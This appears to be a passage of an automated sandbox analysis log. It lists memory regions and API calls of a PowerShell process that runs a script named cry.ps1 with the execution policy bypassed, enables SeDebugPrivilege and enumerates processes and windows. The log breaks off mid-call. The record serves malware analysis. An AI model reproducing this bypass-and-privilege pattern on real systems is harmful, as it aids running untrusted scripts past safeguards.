0xa035fff entry_point = 0xa030000 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 712 start_va = 0xa170000 end_va = 0xa17ffff entry_point = 0x0 region_type = private name = "private_0x000000000a170000" filename = "" Region: id = 713 start_va = 0xa180000 end_va = 0xa18ffff entry_point = 0x0 region_type = private name = "private_0x000000000a180000" filename = "" Region: id = 714 start_va = 0xa190000 end_va = 0xa19ffff entry_point = 0x0 region_type = private name = "private_0x000000000a190000" filename = "" Region: id = 715 start_va = 0xa800000 end_va = 0xae89fff entry_point = 0xa800000 region_type = mapped_file name = "microsoft.powershell.commands.utility.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.powershell.commands.utility\\v4.0_3.0.0.0__31bf3856ad364e35\\microsoft.powershell.commands.utility.dll") Region: id = 716 start_va = 0xa030000 end_va = 0xa035fff entry_point = 0xa030000 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 717 start_va = 0xa030000 end_va = 0xa056fff entry_point = 0xa030000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 718 start_va = 0xa030000 end_va = 0xa03ffff entry_point = 0x0 region_type = private name = "private_0x000000000a030000" filename = "" Region: id = 719 start_va = 0xa040000 end_va = 0xa04ffff entry_point = 0x0 region_type = private name = "private_0x000000000a040000" filename = "" Region: id = 720 start_va = 0xa050000 end_va = 0xa05ffff entry_point = 0x0 region_type = private name = "private_0x000000000a050000" filename = "" Region: id = 721 start_va = 0xa060000 end_va = 0xa065fff entry_point = 0xa060000 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 722 start_va = 0xa130000 end_va = 0xa16ffff entry_point = 0x0 region_type = private name = "private_0x000000000a130000" filename = "" Region: id = 723 start_va = 0xa1a0000 end_va = 0xa1dffff entry_point = 0x0 region_type = private name = "private_0x000000000a1a0000" filename = "" Region: id = 724 start_va = 0x7fa7c000 end_va = 0x7fa7efff entry_point = 0x0 region_type = private name = "private_0x000000007fa7c000" filename = "" Region: id = 725 start_va = 0xa1e0000 end_va = 0xa206fff entry_point = 0xa1e0000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 726 start_va = 0xa060000 end_va = 0xa06ffff entry_point = 0x0 region_type = private name = "private_0x000000000a060000" filename = "" Region: id = 727 start_va = 0xa1e0000 end_va = 0xa1effff entry_point = 0x0 region_type = private name = "private_0x000000000a1e0000" filename = "" Region: id = 728 start_va = 0xa1f0000 end_va = 0xa1fffff entry_point = 0x0 region_type = private name = "private_0x000000000a1f0000" filename = "" Region: id = 729 start_va = 0xa200000 end_va = 0xa20ffff entry_point = 0x0 region_type = private name = "private_0x000000000a200000" filename = "" Region: id = 730 start_va = 0xa390000 end_va = 0xa39ffff entry_point = 0x0 region_type = private name = "private_0x000000000a390000" filename = "" Region: id = 731 start_va = 0x7fa10000 end_va = 0x7fa1ffff entry_point = 0x0 region_type = private name = "private_0x000000007fa10000" filename = "" Region: id = 732 start_va = 0x7fa20000 end_va = 0x7fa6ffff entry_point = 0x0 region_type = private name = "private_0x000000007fa20000" filename = "" Region: id = 733 start_va = 0x9b30000 end_va = 0x9b33fff entry_point = 0x9b30000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 734 start_va = 0xa210000 end_va = 0xa24ffff entry_point = 0x0 region_type = private name = "private_0x000000000a210000" filename = "" Region: id = 735 start_va = 0xa250000 end_va = 0xa28ffff entry_point = 0x0 region_type = private name = "private_0x000000000a250000" filename = "" Region: id = 736 start_va = 0xa290000 end_va = 0xa2a0fff entry_point = 0xa290000 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 737 start_va = 0xa2b0000 end_va = 0xa2b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a2b0000" filename = "" Region: id = 738 start_va = 0xa2c0000 end_va = 0xa2c6fff entry_point = 0x0 region_type = private name = "private_0x000000000a2c0000" filename = "" Region: id = 739 start_va = 0xa2d0000 end_va = 0xa2d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a2d0000" filename = "" Region: id = 740 start_va = 0x6ee20000 end_va = 0x6f0e0fff entry_point = 0x6ee20000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 741 start_va = 0x6f0f0000 end_va = 0x6f24ffff entry_point = 0x6f0f0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 742 start_va = 0x6f250000 end_va = 0x6f458fff entry_point = 0x6f250000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 743 start_va = 0x7fa76000 end_va = 0x7fa78fff entry_point = 0x0 region_type = private name = "private_0x000000007fa76000" filename = "" Region: id = 804 start_va = 0xa130000 end_va = 0xa130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a130000" filename = "" Region: id = 805 start_va = 0xa140000 end_va = 0xa14ffff entry_point = 0x0 region_type = private name = "private_0x000000000a140000" filename = "" Region: id = 806 start_va = 0xa1a0000 end_va = 0xa1dffff entry_point = 0x0 region_type = private name = "private_0x000000000a1a0000" filename = "" Region: id = 807 start_va = 0x7fa7c000 end_va = 0x7fa7efff entry_point = 0x0 region_type = private name = "private_0x000000007fa7c000" filename = "" Region: id = 808 start_va = 0x6ece0000 end_va = 0x6ed5ffff entry_point = 0x6ece0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Region: id = 820 start_va = 0x9020000 end_va = 0x905ffff entry_point = 0x0 region_type = private name = "private_0x0000000009020000" filename = "" Region: id = 821 start_va = 0x6eda0000 end_va = 0x6eda9fff entry_point = 0x6eda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Thread: id = 15 os_tid = 0xb64 [0059.088] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0059.089] RoInitialize () returned 0x1 [0059.089] RoUninitialize () returned 0x0 [0059.231] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0059.239] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0061.689] SysStringByteLen (bstr="-ExecutionPolicy") returned 0x20 [0061.689] SysStringByteLen (bstr="-ExecutionPolicy") returned 0x20 [0061.689] SysStringByteLen (bstr="ByPass") returned 0xc [0061.689] SysStringByteLen (bstr="ByPass") returned 0xc [0061.689] SysStringByteLen (bstr="-File") returned 0xa [0061.689] SysStringByteLen (bstr="-File") returned 0xa [0061.689] SysStringByteLen (bstr="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1") returned 0x90 [0061.689] SysStringByteLen (bstr="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1") returned 0x90 [0064.385] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x427e6f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x427e6f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0064.443] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x427e778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x427e778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0064.443] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x427e6f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x427e6f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0064.536] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x427e768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x427e768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0064.541] EtwEventRegister (in: ProviderId=0x64b41c0, EnableCallback=0x85e2766, CallbackContext=0x0, RegHandle=0x64b4198 | out: RegHandle=0x64b4198) returned 0x0 [0064.600] EtwEventRegister (in: ProviderId=0x64b4eb0, EnableCallback=0x85e278e, CallbackContext=0x0, RegHandle=0x64b4e8c | out: RegHandle=0x64b4e8c) returned 0x0 [0064.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x427d19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0064.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427d630) returned 1 [0064.607] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x427d6ac | out: lpFileInformation=0x427d6ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0064.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427d62c) returned 1 [0065.012] EtwEventWriteTransfer (RegHandle=0x435c560, EventDescriptor=0x49, ActivityId=0x427e728, RelatedActivityId=0x427e6c0, UserDataCount=0x0, UserData=0x0) returned 0x0 [0065.042] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427e124, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0065.058] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427e164, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0065.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e5c4) returned 1 [0065.058] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e640 | out: lpFileInformation=0x427e640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8432712, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8432712, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8458971, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x659600)) returned 1 [0065.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e5c0) returned 1 [0065.203] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x427e6b4 | out: lpdwHandle=0x427e6b4) returned 0x95c [0065.413] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x95c, lpData=0x64b9058 | out: lpData=0x64b9058) returned 1 [0065.876] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x427e688, puLen=0x427e684 | out: lplpBuffer=0x427e688*=0x64b90f4, puLen=0x427e684) returned 1 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x64b91d0, puLen=0x427e604) returned 1 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x64b9224, puLen=0x427e604) returned 1 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x64b9280, puLen=0x427e604) returned 1 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x64b92c4, puLen=0x427e604) returned 1 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x64b932c, puLen=0x427e604) returned 1 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x64b93c8, puLen=0x427e604) returned 1 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x64b942c, puLen=0x427e604) returned 1 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x64b94a8, puLen=0x427e604) returned 1 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x64b914c, puLen=0x427e604) returned 1 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x0, puLen=0x427e604) returned 0 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x0, puLen=0x427e604) returned 0 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x427e608, puLen=0x427e604 | out: lplpBuffer=0x427e608*=0x0, puLen=0x427e604) returned 0 [0065.879] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x427e5fc, puLen=0x427e5f8 | out: lplpBuffer=0x427e5fc*=0x64b90f4, puLen=0x427e5f8) returned 1 [0065.879] VerLanguageNameW (in: wLang=0x0, szLang=0x427e38c, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0067.333] VerQueryValueW (in: pBlock=0x64b9058, lpSubBlock="\\", lplpBuffer=0x427e60c, puLen=0x427e608 | out: lplpBuffer=0x427e60c*=0x64b9080, puLen=0x427e608) returned 1 [0067.744] GetCurrentProcessId () returned 0x51c [0067.775] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x427dedc | out: lpLuid=0x427dedc*(LowPart=0x14, HighPart=0)) returned 1 [0067.776] GetCurrentProcess () returned 0xffffffff [0067.776] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x427ded8 | out: TokenHandle=0x427ded8*=0x474) returned 1 [0067.776] AdjustTokenPrivileges (in: TokenHandle=0x474, DisableAllPrivileges=0, NewState=0x64bb57c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0067.776] CloseHandle (hObject=0x474) returned 1 [0067.788] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x51c) returned 0x474 [0067.796] EnumProcessModules (in: hProcess=0x474, lphModule=0x64bb5c0, cb=0x100, lpcbNeeded=0x427e63c | out: lphModule=0x64bb5c0, lpcbNeeded=0x427e63c) returned 1 [0067.797] GetModuleInformation (in: hProcess=0x474, hModule=0x40000, lpmodinfo=0x64bb700, cb=0xc | out: lpmodinfo=0x64bb700*(lpBaseOfDll=0x40000, SizeOfImage=0x75000, EntryPoint=0x49d30)) returned 1 [0067.798] CoTaskMemAlloc (cb=0x804) returned 0x436a390 [0067.798] GetModuleBaseNameW (in: hProcess=0x474, hModule=0x40000, lpBaseName=0x436a390, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0067.798] CoTaskMemFree (pv=0x436a390) [0067.799] CoTaskMemAlloc (cb=0x804) returned 0x436a390 [0067.799] GetModuleFileNameExW (in: hProcess=0x474, hModule=0x40000, lpFilename=0x436a390, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0067.799] CoTaskMemFree (pv=0x436a390) [0067.799] CloseHandle (hObject=0x474) returned 1 [0067.799] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x51c) returned 0x474 [0067.800] GetExitCodeProcess (in: hProcess=0x474, lpExitCode=0x64bacc8 | out: lpExitCode=0x64bacc8*=0x103) returned 1 [0067.860] EnumWindows (lpEnumFunc=0x85e27b6, lParam=0x0) returned 1 [0067.862] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x8e4 [0067.862] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x650 [0067.862] GetWindowThreadProcessId (in: hWnd=0x100d4, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.862] GetWindowThreadProcessId (in: hWnd=0x100ae, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.862] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.862] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.862] GetWindowThreadProcessId (in: hWnd=0x100c8, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.862] GetWindowThreadProcessId (in: hWnd=0x100cc, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.863] GetWindowThreadProcessId (in: hWnd=0x100c6, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.863] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.863] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb54 [0067.863] GetWindowThreadProcessId (in: hWnd=0x100e0, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x570 [0067.863] GetWindowThreadProcessId (in: hWnd=0x100d6, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.863] GetWindowThreadProcessId (in: hWnd=0x8013e, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc38 [0067.864] GetWindowThreadProcessId (in: hWnd=0x2020c, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xcb0 [0067.864] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc9c [0067.864] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc88 [0067.864] GetWindowThreadProcessId (in: hWnd=0x301f2, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc74 [0067.864] GetWindowThreadProcessId (in: hWnd=0x301f0, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc5c [0067.864] GetWindowThreadProcessId (in: hWnd=0x501f4, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc44 [0067.864] GetWindowThreadProcessId (in: hWnd=0xb004e, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc28 [0067.864] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc0c [0067.865] GetWindowThreadProcessId (in: hWnd=0x60038, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xa58 [0067.865] GetWindowThreadProcessId (in: hWnd=0x301f8, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xa60 [0067.865] GetWindowThreadProcessId (in: hWnd=0xa0048, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x68c [0067.865] GetWindowThreadProcessId (in: hWnd=0x201f6, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xaf4 [0067.865] GetWindowThreadProcessId (in: hWnd=0x301fe, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xa34 [0067.865] GetWindowThreadProcessId (in: hWnd=0x301fa, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xa84 [0067.865] GetWindowThreadProcessId (in: hWnd=0x30144, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x90c [0067.866] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xae8 [0067.866] GetWindowThreadProcessId (in: hWnd=0x50098, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xacc [0067.866] GetWindowThreadProcessId (in: hWnd=0x20180, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x718 [0067.866] GetWindowThreadProcessId (in: hWnd=0x4019c, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x7a0 [0067.866] GetWindowThreadProcessId (in: hWnd=0x20136, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x1e0 [0067.866] GetWindowThreadProcessId (in: hWnd=0x30100, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x2f0 [0067.866] GetWindowThreadProcessId (in: hWnd=0x60024, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x1f4 [0067.866] GetWindowThreadProcessId (in: hWnd=0x90046, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xf0 [0067.867] GetWindowThreadProcessId (in: hWnd=0x70042, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb84 [0067.867] GetWindowThreadProcessId (in: hWnd=0x50022, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x54c [0067.867] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb54 [0067.867] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb54 [0067.867] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb50 [0067.867] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb50 [0067.867] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb54 [0067.867] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb2c [0067.868] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x427e5b4 | out: 